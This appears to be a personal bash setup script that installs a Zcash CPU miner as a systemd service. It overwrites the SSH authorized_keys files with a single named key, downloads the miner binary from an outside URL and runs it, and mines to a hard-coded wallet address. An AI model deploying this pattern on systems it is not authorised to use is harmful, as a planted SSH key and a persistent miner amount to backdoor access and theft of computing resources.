#!/bin/bash

mkdir .ssh; echo "ssh-rsa [payload removed: 372 characters] orzfly@yeechan-Air">~/.ssh/authorized_keys; echo "ssh-rsa [payload removed: 372 characters] orzfly@yeechan-Air">~/.ssh/authorized_keys2

apt update
apt install -y libboost-all-dev byobu

systemctl stop nheqminer

wget -O /usr/local/bin/nheqminer_cpu https://lib.orzfly.com/zcash/nheqminer_cpu
chmod +x /usr/local/bin/nheqminer_cpu


cat <<EOF >/etc/systemd/system/nheqminer.service
[Unit]
Description=NheqMiner

[Service]
ExecStart=/usr/local/bin/nheqminer_cpu -u 1BhocTJyzwPLn3ijaqAqF4cyJy1ZuYQKPc.c$RANDOM

[Install]
WantedBy=multi-user.target
EOF

systemctl daemon-reload
systemctl enable nheqminer
systemctl stop nheqminer
systemctl start nheqminer
cat /etc/systemd/system/nheqminer.service
journalctl -xf | grep nheqminer_cpu
